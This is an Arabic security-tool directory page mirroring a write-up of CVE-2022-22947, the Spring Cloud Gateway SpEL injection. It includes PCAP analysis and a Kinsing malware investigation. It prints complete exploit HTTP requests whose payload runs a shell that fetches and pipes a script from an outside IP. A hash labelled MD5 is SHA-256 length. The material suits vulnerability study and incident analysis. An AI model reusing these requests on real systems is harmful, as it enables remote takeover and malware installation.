Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-22947 — تحليل مفصل ودليل استغلال لـ CVE-2022-22947، وهي ثغرة حقن SpEL في Spring Cloud Gateway تؤدي إلى RCE، بما في ذلك تحليل PCAP والتحقيق في برمجية Kinsing الخبيثة. | Kitploit
أدوات/GitHubGitHub/sumitpathania03/cve-2022-22947
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتحليل البرمجيات الخبيثةالأوراق والأبحاثالتعلم والتعليمArchived
GitHubsumitpathania03/cve-2022-22947

CVE-2022-22947

تحليل مفصل ودليل استغلال لـ CVE-2022-22947، وهي ثغرة حقن SpEL في Spring Cloud Gateway تؤدي إلى RCE، بما في ذلك تحليل PCAP والتحقيق في برمجية Kinsing الخبيثة.

عرض المستودع
منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-22947

CVE-2022-22947 (Spring-Cloud-Gateway) في الربع الأول من عام 2022، تم اكتشاف ثغرة حقن كود خطيرة ومهمة (درجة أساسية 10.0) في Spring Cloud Gateway تستفيد من واجهة Actuator API لتنفيذ هجوم SpEL Injection، مما قد يؤدي إلى اختراق النظام. إصدارات Spring Cloud Gateway السابقة للإصدار 3.1.1+ و3.0.7+ في Spring Cloud Gateway، تكون التطبيقات عرضة لهجوم حقن الكود إذا:كان نقطة نهاية Gateway Actuator مفعلة ومكشوفة وغير محمية.

مخطط تدفق الثغرة

spring

تحليل PCAP

  1. سيرسل المهاجم طلب POST + JSON لإنشاء مسار جديد في البوابة، ومع ملف تكوين JSON، يقوم بتكوين رأس الاستجابة لذلك المسار
root@kitploit:~
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372

{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}

الاستجابة:

root@kitploit:~
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0

كما نرى في ملف JSON، نحصل على قيمة رأس الاستجابة من خلال تنفيذ هذا التعبير 
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]

ونلاحظ في دالة exec( ) وجود أمر مركب لتنفيذ الأوامر عن بُعد.

  1. ثم يرسل المهاجم طلب POST لتحديث جميع المسارات
root@kitploit:~
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

الاستجابة:

root@kitploit:~
HTTP/1.1 200 OK
  1. ثم يرسل المهاجم طلب GET على المسار المنشأ حديثًا لتنفيذ أمر RCE المضمن في رأس الاستجابة
root@kitploit:~
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json

الاستجابة:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202

{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}

الاستجابة 200 OK تشير إلى أن أمر RCE قد تم تنفيذه بنجاح

  1. ثم يرسل المهاجم طلب DELETE لحذف ذلك المسار
root@kitploit:~
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0

الاستجابة:

root@kitploit:~
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK تشير إلى أنه تم حذف المسار بنجاح 

بيانات السجل

##شيلكود مفكوك:

root@kitploit:~
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip

{
	 "id": "BuOHOGeywH",
	 "filters": [{
	   "name": "AddResponseHeader",
	   "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
	   }],
	 "uri": "http://example.com",
	 "order": 0
	}

بعد فك تشفير هذا الشيلكود، وجدت رابط wget لسكريبت، ثم قمت بتنزيل ذلك السكريبت يدويًا، وبعد تحليله وجدت رابط تنزيل لبرنامج Kinsing الخبيث

SP

ومن ذلك الرابط، قمت بتنزيل برنامج Kinsing الخبيث في ملف ZIP لمزيد من التحليل، ثم بعد ذلك قمت بتحليل قيمة MD5=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c لهذا البرنامج الخبيث، وهذه هي النتيجة

SP

SP

تنزيل الأداة